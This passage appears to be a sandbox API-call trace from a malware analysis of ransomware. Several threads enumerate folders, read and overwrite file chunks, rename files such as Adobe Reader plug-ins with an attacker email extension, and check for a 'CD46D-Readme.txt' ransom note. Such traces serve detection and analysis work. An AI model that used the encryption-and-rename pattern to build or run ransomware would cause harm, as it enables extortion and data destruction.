0x3ef27c00 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x581b15e6 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x6ecf178e [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x5bda5dc5 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x6162793a [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x271379a2 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x7b421a4b [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x70e86ef6 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x2f5eb0a3 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x7545ffcf [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x5ad7ae45 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x5e152006 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x4e7c9f6d [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x4e18758b [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x6ca3a498 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x4fa195a4 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x4387e59e [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x5c65f928 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x58b3a287 [0058.218] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x21dd1e4d [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x68ef007a [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x78792b42 [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x6e6344be [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x706be34 [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0xf5c5f25 [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x642e7dd2 [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x329eb52d [0058.219] RtlRandomEx (in: Seed=0x177dfe4c | out: Seed=0x177dfe4c) returned 0x31a18644 [0058.232] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.232] ReadFile (in: hFile=0xea0, lpBuffer=0x19540890, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x177dfe20, lpOverlapped=0x0 | out: lpBuffer=0x19540890*, lpNumberOfBytesRead=0x177dfe20*=0xc800, lpOverlapped=0x0) returned 1 [0058.280] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0058.280] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bf28 [0058.280] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437aa8 [0058.280] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.280] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0058.282] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x9602e38 [0058.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297f0 [0058.286] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4297a0 [0058.286] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297a0) returned 1 [0058.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437aa8) returned 1 [0058.287] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bf28) returned 1 [0058.287] WriteFile (in: hFile=0xea0, lpBuffer=0x9602e38*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x177dfe20, lpOverlapped=0x0 | out: lpBuffer=0x9602e38*, lpNumberOfBytesWritten=0x177dfe20*=0xc800, lpOverlapped=0x0) returned 1 [0059.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x9602e38) returned 1 [0059.295] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19540890) returned 1 [0059.295] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x23) returned 0x97cec30 [0059.295] SetFilePointerEx (in: hFile=0xea0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.295] WriteFile (in: hFile=0xea0, lpBuffer=0x12d05808*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x177dfea0, lpOverlapped=0x0 | out: lpBuffer=0x12d05808*, lpNumberOfBytesWritten=0x177dfea0*=0x107, lpOverlapped=0x0) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12d05808) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97ceba0) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf258) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cec30) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4297f0) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429188) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429110) returned 1 [0061.628] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x429160) returned 1 [0061.628] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xd2) returned 0x4d40e0 [0061.628] wcscpy (in: _Dest=0x4d40e0, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api" [0061.628] wcscat (in: _Dest=0x4d40e0, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api.mailto[2Hamlampampom@cock.li].cd46d" [0061.628] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x177dfe58, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Updater.api.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0061.628] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xe8) returned 0x424230 [0061.628] NtSetInformationFile (FileHandle=0xea0, IoStatusBlock=0x177dfe50, FileInformation=0x424230, Length=0xe8, FileInformationClass=0xa) returned 0x0 [0061.630] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x424230) returned 1 [0061.630] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e21d60) returned 1 [0061.630] NtQueryInformationFile (in: FileHandle=0xea0, IoStatusBlock=0x177dfe64, FileInformation=0x177dfe3c, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x177dfe64, FileInformation=0x177dfe3c) returned 0x0 [0061.630] NtSetInformationFile (FileHandle=0xea0, IoStatusBlock=0x177dfe64, FileInformation=0x177dfe3c, Length=0x28, FileInformationClass=0x4) returned 0x0 [0061.631] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4d40e0) returned 1 [0061.631] FlushFileBuffers (hFile=0xea0) returned 1 [0062.203] CloseHandle (hObject=0xea0) returned 1 [0062.704] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x96) returned 0x5ec5728 [0062.704] wcscpy (in: _Dest=0x5ec5728, _Source="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\" [0062.704] wcscat (in: _Dest=0x5ec5728, _Source="CD46D-Readme.txt" | out: _Dest="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\CD46D-Readme.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\CD46D-Readme.txt" [0062.705] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\CD46D-Readme.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\cd46d-readme.txt")) returned 0x20 [0063.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5ec5728) returned 1 [0063.464] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cc300) returned 1 Thread: id = 931 os_tid = 0x1268 [0052.225] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api")) returned 0x20 [0056.994] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api", dwFileAttributes=0x20) returned 1 [0056.994] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\weblink.api" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\weblink.api"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xd50 [0056.995] GetFileSizeEx (in: hFile=0xd50, lpFileSize=0x17a6fb18 | out: lpFileSize=0x17a6fb18*=306275) returned 1 [0056.995] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x4ac5f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.995] ReadFile (in: hFile=0xd50, lpBuffer=0x17a6fa9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x17a6fa98, lpOverlapped=0x0 | out: lpBuffer=0x17a6fa9c*, lpNumberOfBytesRead=0x17a6fa98*=0x4, lpOverlapped=0x0) returned 1 [0056.996] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0056.996] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb38 [0056.996] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edac0 [0056.996] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede58 [0056.996] NtQuerySystemTime (in: CurrentTime=0x17a6fa78 | out: CurrentTime=0x17a6fa78*=132174898209792000) returned 0x0 [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x47fa1987 [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x7e1ab42f [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x798ca7a7 [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4c6433a8 [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x3109a96e [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x524deba7 [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x2cfe0dec [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x2311e9f4 [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x526a6696 [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4bdf70cf [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x753efd8f [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x261c72ed [0056.996] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x3ba4bf1a [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x6564cbbb [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x3fd5555b [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4734d96d [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x5dd21134 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x2cf1398f [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x2ef32fd8 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4972ecb8 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x112939e9 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4e21b8bc [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x69d892d4 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x6a997014 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x9fa6ee5 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x6895fb4c [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4886dae1 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4a01cf0d [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x5674db96 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x4d2df212 [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x1461639f [0056.997] RtlRandomEx (in: Seed=0x17a6fa84 | out: Seed=0x17a6fa84) returned 0x1ee332a4 [0057.011] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.011] ReadFile (in: hFile=0xd50, lpBuffer=0x1983a830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17a6fa30, lpOverlapped=0x0 | out: lpBuffer=0x1983a830*, lpNumberOfBytesRead=0x17a6fa30*=0xc800, lpOverlapped=0x0) returned 1 [0057.013] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0057.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c288 [0057.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b2d0 [0057.013] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb38 [0057.013] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4edb38) returned 1 [0057.014] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5edd008 [0057.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4edb38 [0057.015] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4ede58 [0057.015] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ede58) returned 1 [0057.015] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b2d0) returned 1 [0057.015] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c288) returned 1 [0057.015] WriteFile (in: hFile=0xd50, lpBuffer=0x5edd008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17a6fa30, lpOverlapped=0x0 | out: lpBuffer=0x5edd008*, lpNumberOfBytesWritten=0x17a6fa30*=0xc800, lpOverlapped=0x0) returned 1 [0059.118] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5edd008) returned 1 [0059.118] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.118] ReadFile (in: hFile=0xd50, lpBuffer=0x1983a830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17a6fa30, lpOverlapped=0x0 | out: lpBuffer=0x1983a830*, lpNumberOfBytesRead=0x17a6fa30*=0xc800, lpOverlapped=0x0) returned 1 [0059.119] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x25800, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0059.119] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44bd30 [0059.119] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x43b348 [0059.119] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cf8 [0059.119] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428cf8) returned 1 [0059.121] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5edd008 [0059.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428cf8 [0059.122] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x428ed8 [0059.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x428ed8) returned 1 [0059.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43b348) returned 1 [0059.122] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44bd30) returned 1 [0059.122] WriteFile (in: hFile=0xd50, lpBuffer=0x5edd008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17a6fa30, lpOverlapped=0x0 | out: lpBuffer=0x5edd008*, lpNumberOfBytesWritten=0x17a6fa30*=0xc800, lpOverlapped=0x0) returned 1 [0064.394] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5edd008) returned 1 [0064.394] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x3e463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.394] ReadFile (in: hFile=0xd50, lpBuffer=0x1983a830, nNumberOfBytesToRead=0xc800, lpNumberOfBytesRead=0x17a6fa30, lpOverlapped=0x0 | out: lpBuffer=0x1983a830*, lpNumberOfBytesRead=0x17a6fa30*=0xc800, lpOverlapped=0x0) returned 1 [0064.395] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x3e463, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0064.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x40) returned 0x44c948 [0064.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x70) returned 0x437f58 [0064.395] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460260 [0064.395] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x460260) returned 1 [0064.396] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xc800) returned 0x5edd008 [0064.401] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x460260 [0064.401] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x4601c0 [0064.401] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4601c0) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x437f58) returned 1 [0064.402] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c948) returned 1 [0064.402] WriteFile (in: hFile=0xd50, lpBuffer=0x5edd008*, nNumberOfBytesToWrite=0xc800, lpNumberOfBytesWritten=0x17a6fa30, lpOverlapped=0x0 | out: lpBuffer=0x5edd008*, lpNumberOfBytesWritten=0x17a6fa30*=0xc800, lpOverlapped=0x0) returned 1 [0066.642] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5edd008) returned 1 [0066.642] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48dba8 [0066.650] SetFilePointerEx (in: hFile=0xd50, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0066.650] WriteFile (hFile=0xd50, lpBuffer=0x44e768, nNumberOfBytesToWrite=0x147, lpNumberOfBytesWritten=0x17a6fad8, lpOverlapped=0x0) Thread: id = 932 os_tid = 0x126c [0052.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x4c) returned 0x413cd8 [0052.226] wcscpy (in: _Dest=0x413cd8, _Source="C:\\ProgramData\\Microsoft\\eHome\\logs" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs") returned="C:\\ProgramData\\Microsoft\\eHome\\logs" [0052.226] wcscat (in: _Dest=0x413cd8, _Source="\\" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs\\") returned="C:\\ProgramData\\Microsoft\\eHome\\logs\\" [0052.226] wcscat (in: _Dest=0x413cd8, _Source="*" | out: _Dest="C:\\ProgramData\\Microsoft\\eHome\\logs\\*") returned="C:\\ProgramData\\Microsoft\\eHome\\logs\\*" [0052.226] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458bc0 [0052.226] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\eHome\\logs\\*", lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4404a0 [0052.226] wcscmp (_String1=".", _String2=".") returned 0 [0052.226] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.226] wcscmp (_String1="..", _String2=".") returned 1 [0052.226] wcscmp (_String1="..", _String2="..") returned 0 [0052.226] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x9182055d, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa597fc2, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9182055d, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0052.226] FindClose (in: hFindFile=0x4404a0 | out: hFindFile=0x4404a0) returned 1 [0052.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458bc0) returned 1 [0052.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x413cd8) returned 1 [0052.227] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x445090) returned 1 Thread: id = 933 os_tid = 0x1270 [0052.227] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xa4) returned 0x443330 [0052.228] wcscpy (in: _Dest=0x443330, _Source="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList" [0052.228] wcscat (in: _Dest=0x443330, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\" [0052.228] wcscat (in: _Dest=0x443330, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*") returned="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*" [0052.228] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458bc0 [0052.228] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Reference Assemblies\\Microsoft\\Framework\\v3.5\\RedistList\\*", lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4404a0 [0052.229] wcscmp (_String1=".", _String2=".") returned 0 [0052.229] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80105472, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x812b9833, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x812b9833, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0052.229] wcscmp (_String1="..", _String2=".") returned 1 [0052.229] wcscmp (_String1="..", _String2="..") returned 0 [0052.229] FindNextFileW (in: hFindFile=0x4404a0, lpFindFileData=0x458bc0 | out: lpFindFileData=0x458bc0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x58775f6b, ftCreationTime.dwHighDateTime=0x1ca03fe, 